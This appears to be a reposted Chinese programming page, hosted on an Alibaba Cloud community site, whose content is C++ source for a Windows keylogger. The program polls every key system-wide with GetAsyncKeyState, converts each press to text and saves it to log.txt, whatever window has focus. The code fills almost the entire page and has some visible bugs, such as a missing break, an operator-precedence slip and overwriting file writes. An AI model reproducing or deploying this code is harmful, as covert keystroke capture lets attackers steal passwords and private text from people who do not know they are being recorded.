windows類比鍵盤事件,無游標聚焦,按下鍵盤就能儲存按下的鍵盤字元

來源:互聯網
上載者:User

標籤:iostream   windows   鍵盤   類比鍵盤   

#include<iostream>#include<stdio.h>#include<stdlib.h>#include <windows.h>#include <winuser.h>#include <string>#include <fstream>using namespace std;const int KeyBoardValue = 0x80000000;string GetKeyName(int);bool JudgeShift();int main(){string FileName = "log.txt";string KeyName = "";fstream FileStream;//FileStream.open(FileName.c_str(), std::fstream::out | std::fstream::app);FileStream.open(FileName.c_str());while (1){//Sleep(5);//FileStream.open(FileName.c_str());for (int i = 8; i <= 255; i++){if (GetAsyncKeyState(i) & 1 == 1)               //判斷虛擬按鍵是否按下,無論是一直按著還是按一下就彈起,只判斷是否按過{KeyName = GetKeyName(i);FileStream.write(KeyName.c_str(), KeyName.size());FileStream.close();   //寫完一次就儲存一次FileStream.open(FileName.c_str());//FileStream.open(FileName.c_str(), std::fstream::out | std::fstream::app);}}}return 0;}string GetKeyName(int NumKey){bool IS_SHIFT = JudgeShift();string revalue = "";//判斷鍵盤中間的特殊符號if (NumKey >= 186 && NumKey <= 222)switch (NumKey){case 186:if (IS_SHIFT)revalue = ":";elserevalue = ";";break;case 187:if (IS_SHIFT)revalue = "+";elserevalue = "=";break;case 188:if (IS_SHIFT)revalue = "<";elserevalue = ",";break;case 189:if (IS_SHIFT)revalue = "_";elserevalue = "-";break;case 190:if (IS_SHIFT)revalue = ">";elserevalue = ".";break;case 191:if (IS_SHIFT)revalue = "?";elserevalue = "/";break;case 192:if (IS_SHIFT)revalue = "~";elserevalue = "`";break;case 219:if (IS_SHIFT)revalue = "{";elserevalue = "[";break;case 220:if (IS_SHIFT)revalue = "|";elserevalue = "\\";break;case 221:if (IS_SHIFT)revalue = "}";elserevalue = "]";break;case 222:if (IS_SHIFT)revalue = '"';elserevalue = ",";default:revalue = "error";break;}if (NumKey == VK_ESCAPE) // 退出revalue = "[Esc]";else if (NumKey == VK_F1) // F1至F12revalue = "[F1]";else if (NumKey == VK_F2)revalue = "[F2]";else if (NumKey == VK_F3)revalue = "[F3]";else if (NumKey == VK_F4)revalue = "[F4]";else if (NumKey == VK_F5)revalue = "[F5]";else if (NumKey == VK_F6)revalue = "[F6]";else if (NumKey == VK_F7)revalue = "[F7]";else if (NumKey == VK_F8)revalue = "[F8]";else if (NumKey == VK_F9)revalue = "[F9]";else if (NumKey == VK_F10)revalue = "[F10]";else if (NumKey == VK_F11)revalue = "[F11]";else if (NumKey == VK_F12)revalue = "[F12]";else if (NumKey == VK_SNAPSHOT) // 列印螢幕revalue = "[PrScrn]";else if (NumKey == VK_SCROLL) // 滾動鎖定revalue = "[Scroll Lock]";else if (NumKey == VK_PAUSE) // 暫停、中斷revalue = "[Pause]";else if (NumKey == VK_CAPITAL) // 大寫鎖定revalue = "[Caps Lock]";else if (NumKey == 8) //<- 回格鍵revalue = "[Backspace]";else if (NumKey == VK_RETURN) // 斷行符號鍵、換行revalue = "[Enter]\n";else if (NumKey == VK_SPACE) // 空格revalue = " ";else if (NumKey == VK_TAB) // 製表鍵revalue = "[Tab]";else if (NumKey == VK_LCONTROL) // 左修飾鍵revalue = "[Ctrl]";else if (NumKey == VK_RCONTROL) // 右修飾鍵revalue = "[CTRL]";else if (NumKey == VK_LMENU) // 左換檔鍵revalue = "[Alt]";else if (NumKey == VK_LMENU) // 右換檔鍵revalue = "[ALT]";else if (NumKey == VK_LWIN) // 右 WINDOWS 鍵revalue = "[Win]";else if (NumKey == VK_RWIN) // 右 WINDOWS 鍵revalue = "[WIN]";else if (NumKey == VK_APPS) // 鍵盤上 右鍵revalue = "右鍵";else if (NumKey == VK_INSERT) // 插入revalue = "[Insert]";else if (NumKey == VK_DELETE) // 刪除revalue = "[Delete]";else if (NumKey == VK_HOME) // 起始revalue = "[Home]";else if (NumKey == VK_END) // 結束revalue = "[End]";else if (NumKey == VK_PRIOR) // 上一頁revalue = "[PgUp]";else if (NumKey == VK_NEXT) // 下一頁revalue = "[PgDown]";// 不常用的幾個鍵:一般鍵盤沒有else if (NumKey == VK_CANCEL) // Cancelrevalue = "[Cancel]";else if (NumKey == VK_CLEAR) // Clearrevalue = "[Clear]";else if (NumKey == VK_SELECT) //Selectrevalue = "[Select]";else if (NumKey == VK_PRINT) //Printrevalue = "[Print]";else if (NumKey == VK_EXECUTE) //Executerevalue = "[Execute]";//----------------------------------------//else if (NumKey == VK_LEFT) //上、下、左、右鍵revalue = "[←]";else if (NumKey == VK_RIGHT)revalue = "[→]";else if (NumKey == VK_UP)revalue = "[↑]";else if (NumKey == VK_DOWN)revalue = "[↓]";else if (NumKey == VK_NUMLOCK)//小鍵盤數位鎖定revalue = "[NumLock]";else if (NumKey == VK_ADD) // 加、減、乘、除revalue = "+";else if (NumKey == VK_SUBTRACT)revalue = "-";else if (NumKey == VK_MULTIPLY)revalue = "*";else if (NumKey == VK_DIVIDE)revalue = "/";else if (NumKey == 190 || NumKey == 110) // 小鍵盤 . 及鍵盤 .revalue = ".";//小鍵盤數字鍵:0-9else if (NumKey == VK_NUMPAD0)revalue = "0";else if (NumKey == VK_NUMPAD1)revalue = "1";else if (NumKey == VK_NUMPAD2)revalue = "2";else if (NumKey == VK_NUMPAD3)revalue = "3";else if (NumKey == VK_NUMPAD4)revalue = "4";else if (NumKey == VK_NUMPAD5)revalue = "5";else if (NumKey == VK_NUMPAD6)revalue = "6";else if (NumKey == VK_NUMPAD7)revalue = "7";else if (NumKey == VK_NUMPAD8)revalue = "8";else if (NumKey == VK_NUMPAD9)revalue = "9";//----------------------------上述代碼判斷鍵盤上除了字母之外的功能鍵--------------------------------//else if (NumKey >= 65 && NumKey <= 90){if (GetKeyState(VK_CAPITAL)){if (IS_SHIFT)revalue = NumKey + 32;elserevalue = NumKey;}else{if (IS_SHIFT)revalue = NumKey;elserevalue = NumKey + 32;}}//---------------------------上面的部分判斷鍵盤上的字母----------------------------------------------//else if (NumKey >= 48 && NumKey <= 57){if (IS_SHIFT){switch (NumKey){case 48:revalue = ")"; break;case 49:revalue = "!"; break;case 50:revalue = "@"; break;case 51:revalue = "#"; break;case 52:revalue = "$"; break;case 53:revalue = "%"; break;case 54:revalue = "^"; break;case 55:revalue = "&"; break;case 56:revalue = "*"; break;case 57:revalue = "("; break;}}else{switch (NumKey){case 48:revalue = "0"; break;case 49:revalue = "1"; break;case 50:revalue = "2"; break;case 51:revalue = "3"; break;case 52:revalue = "4"; break;case 53:revalue = "5"; break;case 54:revalue = "6"; break;case 55:revalue = "7"; break;case 56:revalue = "8"; break;case 57:revalue = "9"; break;}}}return revalue;}bool JudgeShift(){int   iShift = GetKeyState(0x10); //判斷Shift鍵狀態bool   IS = (iShift & KeyBoardValue) == KeyBoardValue; //表示按下Shift鍵if (IS)return 1;elsereturn 0;}

windows類比鍵盤事件,無游標聚焦,按下鍵盤就能儲存按下的鍵盤字元

相關文章

聯繫我們

該頁面正文內容均來源於網絡整理,並不代表阿里雲官方的觀點,該頁面所提到的產品和服務也與阿里云無關,如果該頁面內容對您造成了困擾,歡迎寫郵件給我們,收到郵件我們將在5個工作日內處理。

如果您發現本社區中有涉嫌抄襲的內容,歡迎發送郵件至: info-contact@alibabacloud.com 進行舉報並提供相關證據,工作人員會在 5 個工作天內聯絡您,一經查實,本站將立刻刪除涉嫌侵權內容。

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.